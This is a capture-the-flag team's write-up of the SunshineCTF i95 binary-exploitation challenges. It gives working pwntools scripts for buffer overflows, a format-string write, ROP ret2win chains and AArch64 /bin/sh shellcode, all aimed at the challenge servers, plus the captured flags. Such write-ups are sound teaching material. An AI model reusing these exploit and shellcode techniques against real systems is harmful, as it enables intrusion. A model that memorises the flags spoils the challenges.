team-logo
Published on

SunshineCTF - i95 challenges

Authors

Introduction

Between September 27 and 29, SunshineCTF took place—a small but interesting US-based CTF event. Alongside standard PWN, reverse engineering, and cryptography challenges, the competition featured the i95 challenge (an approachable PWN-style task) and the Pegasus challenge set. More details about the event can be found here. We solved all i95 tasks; since they were straightforward, only the solutions are provided below. img

Miami

img

Solution author: Cappybara

from pwn import *

p = connect("chal.sunshinectf.games", 25601)
payload = b'A' * 76 + p64(0x1337c0de)
p.recvuntil("Enter Dexter's password: ")
p.sendline(payload)
p.interactive()

sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}

Jupiter

img

Solution author: kerszi

from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']


HOST="nc chal.sunshinectf.games 25607"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./jupiter"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

# Overwrite value at 0x00404010 with 0x1337c0d using pwntools' fmtstr_payload

target_addr = 0x00404010
target_value = 0x1337c0de

# Find the offset for the format string (you may need to adjust this)
offset = 5

payload = fmtstr_payload(offset, {target_addr: target_value})

p.sendlineafter(b"Enter data at your own risk:", payload)

p.interactive()

sun{F0rmat_str!ngs_4re_sup3r_pOwerFul_r1gh7??}

Jacksonville

img

Solution author: kerszi

from pwn import *             

context.log_level = 'warning' 


context.update(arch='x86_64', os='linux') 
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']


HOST="nc chal.sunshinectf.games 25602"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./jacksonville"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    
    cyclic_pattern = cyclic(200)
    print(cyclic_pattern)
win=binary.sym.win
rop = ROP(binary)
ret = rop.find_gadget(['ret'])[0]
print(f"ret gadget at: {hex(ret)}")
payload = b'A'*6 + b'Jaguars\x00' + b'A'*(96 - 14) + b'B'*8 +p64(ret)+p64(win)

p.sendlineafter(b'What\'s the best Florida football team?',payload)
p.interactive()

sun{It4chI_b3ats_0b!to_nO_d!ff}

Canaveral

img

Solution author: kerszi

from pwn import *             

context.log_level = 'warning' 


context.update(arch='x86_64', os='linux') 
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']


HOST="nc chal.sunshinectf.games 25603"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./canaveral"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

win=binary.sym.win
main=binary.sym.main

payload1=72*b'A'+p64(main)

rop = ROP(binary)
ret_gadget = rop.find_gadget(['ret'])[0]
warn(f"'ret' gadget address: {hex(ret_gadget)}")
system=binary.plt.system
puts=binary.plt.puts
p.sendlineafter('Enter the launch sequence:',payload1)
p.recvuntil(b'Successful launch! Here\'s your prize: ')
stos=int(p.recvline().strip(),16)+16
warn(f"stos: {hex(stos)}")

payload2=p64(0)+p64(0x402008)+(6*8)*b'A'+p64(stos)+p64(ret_gadget)+p64(win+35)

p.sendlineafter('Enter the launch sequence:',payload2)
p.interactive()

sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}

Daytona

img

Solution author: Grzechu

This is an Arm challenge

#!/usr/bin/env python3
from pwn import *
import re

HOST, PORT = "chal.sunshinectf.games", 25606
context.clear(arch="aarch64", os="linux")
context.log_level = "info"

RET_OFF    = 72          # LR zwykle na S+0x48; jeśli nie działa, spróbuj 56
LEAK_DELTA = 0x75        # n + 0x75 = buf
STAGE2_OFF = 0xF0        # gdzie położymy shellcode
NOP        = b"\x1f\x20\x03\xd5"  # aarch64 NOP

def parse_leak(b: bytes) -> int:
    m = re.search(rb'going\s+(\d+)\s+MPH', b)
    if not m:
        raise ValueError("Nie znalazłem liczby w bannerze")
    return int(m.group(1))

def build_shellcode() -> bytes:
    """
    Self-check: najpierw write(1,"OK!",3), potem execve("/bin/sh",0,0).
    """
    sc = asm(r"""
        // write(1, "OK!", 3)
        adr     x1, msg
        mov     x0, #1
        mov     x2, #3
        mov     x8, #64         // __NR_write
        svc     #0

        // execve("/bin/sh", NULL, NULL)
        adr     x0, sh
        eor     x1, x1, x1
        eor     x2, x2, x2
        mov     x8, #221        // __NR_execve
        svc     #0

        // fallback: exit(0)
        mov     x0, xzr
        mov     x8, #93         // __NR_exit
        svc     #0

    msg:    .ascii "OK!"
    sh:     .ascii "/bin/sh\0"
    """)
    return sc

def main():
    io = remote(HOST, PORT)
    ban = io.recvuntil(b"What do I tell them??")
    leak = parse_leak(ban)

    buf = leak + LEAK_DELTA
    stage2 = buf + STAGE2_OFF
    log.info(f"leak={leak}  -> buf=0x{buf:x}  stage2=0x{stage2:x}")

    sc = build_shellcode()

    # 1) nadpisz LR adresem shellcode'u
    head  = b"A" * RET_OFF + p64(stage2)

    # 2) dobij do STAGE2_OFF (krótki sled NOP-ów, żadnych \n na początku)
    padlen = max(0, STAGE2_OFF - len(head))
    sled   = (NOP * ((padlen // len(NOP)) + 1))[:padlen]
    payload = head + sled + sc

    # ważne: w pierwszych ~90 bajtach nie może być 0x0a (LF)
    first = payload[:90]
    if b"\x0a" in first:
        i = first.index(b"\x0a")
        payload = payload[:i] + b" " + payload[i+1:]

    io.send(payload + b"\n")
    io.interactive()

if __name__ == "__main__":
    main()

Shorten payload

from pwn import *             


HOST="nc chal.sunshinectf.games 25606"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./daytona"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

shellcode = (
    b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
    b"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
    b"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
)

line = p.recvuntil(b"over the speedlimit").decode()
# Wyciągnij liczbę po "going"
mph = int(line.split("going")[1].split("MPH")[0].strip())

start_exploit_adress_stack=mph+0xc5


warn(f"stack: {mph:#x}")
payload= 72*b'A'+p64(start_exploit_adress_stack)+shellcode

p.sendlineafter(b'What do I tell them??',payload)
p.interactive()

sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}

Bonus

Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/2025/SunshineCTF